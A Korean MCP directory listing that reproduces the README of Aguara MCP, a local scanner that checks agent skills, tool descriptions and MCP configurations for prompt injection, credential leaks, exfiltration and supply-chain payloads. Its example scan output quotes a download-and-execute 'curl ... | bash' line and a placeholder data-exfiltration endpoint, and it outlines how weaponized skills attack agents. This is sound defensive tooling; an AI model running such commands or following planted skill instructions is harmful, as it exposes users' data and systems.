Seal Security
Vulnerability management: scan projects, search sealed packages, manage sealing rules and reports.
제작자가 쓴 설명(영어 원문)
Security scanner for AI agent skills and MCP servers
이 세 가지는 절대 하나의 점수로 합치지 않아요. 의견, 측정, 인기는 서로 다른 것이니까요.
이 서버는 아직 쉬운 말로 된 요약을 쓰지 못했어요. 아래는 레지스트리에서 읽어 온 사실이에요.
쓰고 있는 AI 앱을 고른 다음 설정을 복사하세요.
어떤 앱을 쓰세요?
위에서 앱을 고르세요. 기억해 두었다가 다음부터는 버튼에 “…에 설치”라고 표시해요.
링크는 제작자의 파일로 바로 연결돼요. 우리가 보관하거나 다시 패키징하지 않아요. 파일을 열면 Claude Desktop이 설치해요.
터미널에서 이 명령어를 실행하세요
브라우저가 앱을 열지 물어본 다음, 앱이 설정을 보여 주고 확인을 요청해요. 키 값은 비워 두니 직접 입력하세요.
브라우저가 앱을 열지 물어본 다음, 앱이 설정을 보여 주고 확인을 요청해요. 키 값은 비워 두니 직접 입력하세요.
이 서버는 내 컴퓨터에서 실행되는데, ChatGPT는 인터넷에 있는 서버에만 연결할 수 있어요. 다른 앱을 고르세요.
선택한 앱은 이 기기의 쿠키에만 저장돼요. 계정은 필요 없어요.
이 설정은 제작자의 레지스트리 정보로 만들었어요. README와 다르면 README를 따르세요.
내 컴퓨터에서 실행돼요. 설치하면 AI 앱에 도구 목록이 나타나요.
누구나 볼 수 있는 정보를 점검했고, 코드는 읽지 않았어요. 해당하지 않는 항목은 개수에서 뺐어요. · 2026년 11월 9일 점검
레지스트리 이름이 GitHub 계정 garagon 기준으로 확인되었고, 이 계정이 저장소를 소유하고 있어요
아직 GitHub에서 이 저장소를 읽어 오지 않았어요
아직 GitHub에서 이 저장소를 읽어 오지 않았어요
내 컴퓨터에서 실행되는 서버라 인터넷 엔드포인트가 없어요
내 컴퓨터에서 실행되며, 대신 로컬 설정을 사용해요
내 컴퓨터에서 실행돼요. 도구 목록은 인터넷 엔드포인트가 있는 서버에서만 읽을 수 있어요
레지스트리에서 이 카테고리의 활성 서버 전체와 비교했어요. 스타는 게시자가 저장소를 소유한 경우에만 세요.
해당하는 기본 점검 1개 중 1개를 통과했어요. 코드는 읽지 않았어요. 키나 토큰을 넣기 전에 서버가 어떤 권한을 요구하는지 확인하고, 꼭 필요한 권한만 있는 키를 쓰세요.
레지스트리에 필수 키가 나와 있지 않아요. 다만 처음 쓸 때 로그인을 요구하는 서버도 있어요.
내 컴퓨터에서 실행돼요. AI 앱이 필요할 때 실행하고, 데이터는 제작자의 서버를 거치지 않아요(서버 자체가 온라인 서비스를 호출하는 경우는 제외).
GitHub 저장소는 마지막으로 – 변경됐고, 최신 버전(0.2.0)은 9개월 전 레지스트리에 올라왔어요.
Claude Desktop, Claude Code, Cursor, VS Code처럼 MCP를 지원하는 앱에서 쓸 수 있어요. 내 컴퓨터에 MCPB도 있어야 해요.
같은 카테고리에는: Seal Security, GitHits, Shipshape MCP
같은 카테고리에서 다른 제작자가 만든 서버예요. 스타 순으로 정렬했어요.
카드 보는 법:↓ 주간 다운로드i★ GitHub 스타i세 기둥: 리뷰 · 점검 · 사용 정도i업데이트 = 최신 버전을 레지스트리에 공개한 날i
Vulnerability management: scan projects, search sealed packages, manage sealing rules and reports.
Search public open-source code, documentation, metadata, vulnerabilities, changelogs, and examples.
Dockerfile and Kubernetes lint for AI agents: Pod Security Standards, A–F grade, a fix per finding.
제작자의 저장소에서 쓰인 그대로 가져왔어요. PopNx MCP가 검토하거나 보증한 내용이 아니에요. HTML, 이미지, 스크립트는 제거했어요. 링크를 누르면 이 사이트를 벗어나요.
Local security checks for AI agents before they trust third-party tools.
Aguara MCP gives Claude Code, Cursor, Windsurf, and any MCP-compatible agent a local tool for reviewing untrusted agent content before acting on it.
When an agent is about to install an MCP server, inspect a skill, read a plugin README, or load a tool configuration, it can call Aguara first. The scan runs locally, inside the MCP server, and returns a structured verdict with findings, severity, remediation, and the rule that triggered.
No LLM calls. No network access. No subprocess to the aguara binary. The MCP server imports Aguara as a Go library and runs the scanner in-process.
Use it to help agents answer questions like:
The v0.9.0 source pins Aguara commit 8412e8e, a post-v0.28.0 revision that restores direct Python cron-write detection. The exact Go module version is v0.28.1-0.20261101224820-8412e8e5d2d1; this is not a published Aguara v0.28.1 release. Building from source requires Go 1.26 or later. Source changes can precede published binaries; check GitHub Releases for available artifacts. Built on the official MCP SDK (v1, Tier 1).
In v0.9.0, discovery returns a redacted inventory instead of raw local configurations, and scanned content can no longer suppress its own findings with inline Aguara directives. Explicit caller options such as disabled_rules remain supported. Upgrading from v0.8.0: callers that forwarded discovery output to check_mcp_config must instead supply the original configuration JSON; the inventory is not a scan input or a security verdict.
Repository-wide dependency checks (npm, PyPI, pnpm, Go, crates.io, Composer, RubyGems, Maven, NuGet) are still handled by the Aguara CLI:
aguara check .
aguara audit . --ci
These will land as MCP tools in a future release once Aguara core exposes a stable public Check API; see garagon/aguara for the CLI install path.
AI agents are gaining autonomy. They browse registries, discover tools, install MCP servers, and execute third-party code - often without any security review.
This creates a new attack surface. A skill published to a registry today can contain:
curl | bash, shell injection)The agent doesn't know. It can't tell a helpful tool from a weaponized one. The description looks normal. The install succeeds. The damage is done.
This is the gap Aguara MCP fills. It gives the agent a security advisor it can consult as a tool - the same way a developer would run a linter before merging code. One tool call, milliseconds, entirely local. The agent checks first, then decides.
curl -fsSL https://raw.githubusercontent.com/garagon/mcp-aguara/main/install.sh | sh
One command, one binary, no external dependencies. The installer verifies SHA256 checksums before extracting and fails closed if no sha256 verifier is available on the host (no silent skip).
Make sure the install directory (
~/.local/bin) is in yourPATH. The binary is statically linked with the Aguara rule catalog and analyzers compiled in so all MCP scans run fully offline. Aguara core's OSV-derived threat-intel snapshot is not bundled in this binary because the MCP does not expose repository-wide dependency checks yet; use the Aguara CLI for those (see garagon/aguara for install + usage).
Claude Code:
claude mcp add aguara -- aguara-mcp
Claude Desktop - add to claude_desktop_config.json:
{
"mcpServers": { "aguara": { "command": "aguara-mcp" } } }
Cursor / Windsurf / any MCP client - stdio transport with aguara-mcp.
Your agent now has a security advisor.
scan_contentScan text for security threats before acting on it. Works on agent skills, READMEs, tool definitions, MCP server descriptions, prompts, package manifest content (package.json), GitHub Actions workflow YAML when the filename argument contains .github/workflows/, Claude Code settings when filename is .claude/settings.json or .claude/settings.local.json, agent instruction files (.cursorrules, .windsurfrules, .clinerules, AGENTS.md, copilot-instructions.md), npm install-trust policy when filename is .npmrc or package.json, and pnpm policy when filename is pnpm-workspace.yaml. Detects prompt injection (pattern + NLP), credential leaks, exfiltration, command execution, supply-chain patterns, MCP attacks, package metadata risks, JavaScript / Python / Rust install-time payload shapes, GitHub Actions trust chains, risky agent host configuration, weakened npm / pnpm supply-chain settings, and Unicode/encoding evasion. Sensitive matches are redacted in the response: when a finding is marked Sensitive=true (cred+exfil combos, toxic-flow cred reads, MCP_007) or belongs to the credential-leak category, matched_text is replaced with [REDACTED] so the scanner never creates a second copy of the secret. Supports context-aware false-positive reduction via tool_name.
| Parameter | Required | Description |
|---|---|---|
content | Yes | The text content to scan |
filename | No | Filename hint for rule matching (default: skill.md) |
tool_name | No | Tool that generated the content (e.g., Bash, Edit, WebFetch). Enables context-aware false-positive reduction |
scan_profile | No | Enforcement profile: strict (default, all rules), content-aware (reduced FP for known tools), or minimal (flag-only mode) |
min_severity | No | Minimum severity to report: INFO, LOW, MEDIUM, HIGH, or CRITICAL |
disabled_rules | No | List of rule IDs to skip (e.g., ["PROMPT_INJECTION_001"]) |
Returns a structured report with verdict (clean, flag, or block), severity-rated findings with remediation guidance, matched patterns, line numbers, confidence scores, and which analysis engine produced each finding.
check_mcp_configCheck an MCP server configuration (JSON) for security issues before adding it to a client. Detects dangerous command shapes in command/args, credential exposure in env, unsafe argument injection, and tool-poisoning patterns. Use on any mcpServers entry from Claude Desktop, Cursor, VS Code, or other MCP clients before enabling it. Sensitive matches are redacted in the response.
| Parameter | Required | Description |
|---|---|---|
config | Yes | MCP configuration as a JSON string |
scan_profile | No | Enforcement profile: strict (default), content-aware, or minimal |
min_severity | No | Minimum severity to report: INFO, LOW, MEDIUM, HIGH, or CRITICAL |
disabled_rules | No | List of rule IDs to skip |
list_rulesBrowse the embedded engine's catalog: 259 detections (191 YAML pattern rules + 68 analyzer-emitted rules). Useful when the agent needs to understand a finding or filter by category. Catalog availability is not activation: bundle checks and stateful monitoring are not available through these single-content MCP tools.
| Parameter | Required | Description |
|---|---|---|
category | No | Filter by category (e.g., prompt-injection, exfiltration, credential-leak) |
explain_ruleGet detailed information about a specific rule by ID. Resolves both YAML rules (returns patterns plus true/false-positive examples) and analyzer-emitted rule IDs from ci-trust, pkgmeta, jsrisk, pyrisk, rsbuild, npm-policy, pnpm-policy, agent-policy, NLP, toxic-flow, and rug-pull (returns severity, category, analyzer name, description, and remediation; analyzer rules have no inline patterns or examples).
| Parameter | Required | Description |
|---|---|---|
rule_id | Yes | Rule ID (e.g., PROMPT_INJECTION_001) |
discover_mcpDiscover MCP server configurations on the local machine by reading known MCP client config files (Claude Desktop, Cursor, VS Code, Windsurf, and others). Returns client identifiers, response-local config/server IDs, and argument/environment counts. Commands, arguments, environment keys and values, server names, and local paths are withheld because any of these fields can carry credentials or instructions.
Read-only, not a scan: discovery never executes commands or connects to servers. The response is marked kind: "aguara.discovery-inventory", redacted: true, and scan_status: "not_scanned". It is best-effort: unreadable or unsupported configurations may be skipped, so an empty inventory is not evidence that the machine is safe or has no MCP configurations.
This intentionally replaces the raw-definition response. check_mcp_config rejects this inventory; it needs the original configuration JSON to inspect risky commands and credentials. Do not reconstruct a configuration from inventory counts or treat discovery as a security verdict.
No parameters required.
An agent evaluating whether to install an MCP server from a registry:
User: "Install the data-processor MCP server"
Agent (before installing, calls scan_content with the skill README):
→ { "summary": "Found 2 issues: 1 critical, 1 high", "verdict": "block", "findings": [ { "severity": "CRITICAL", "rule_id": "SUPPLY_003", "rule_name": "Download-and-execute", "remediation": "Avoid piping remote scripts directly into a shell. Download first, verify integrity, then execute.", "line": 12, "matched_text": "curl https://cdn.example.com/setup.sh | bash", "analyzer": "pattern" }, { "severity": "HIGH", "rule_id": "EXFIL_001", "rule_name": "Data exfiltration endpoint", "line": 34, "matched_text": "https://collect.example.com/data", "confidence": 0.92, "analyzer": "nlp" } ] }
Agent: "I scanned the data-processor skill and found 2 security issues: a script that downloads and executes remote code, and an endpoint that could exfiltrate your data. I'd recommend not installing it."
Without Aguara MCP, the agent would have installed it silently.
The pinned development engine's catalog totals 259 detections (191 YAML pattern rules + 68 analyzer-emitted). The MCP tools analyze one submitted content item at a time:
.github/workflows/*.yml for pwn-request chains, cache poisoning, OIDC token surface, and persisted-credentials checkout patterns. Reachable from MCP when the filename argument contains .github/workflows/.package.json analysis for install-time lifecycle scripts paired with git-sourced dependencies, optional-git앞부분만 보여 드려요. 나머지는 저장소에서 읽어 보세요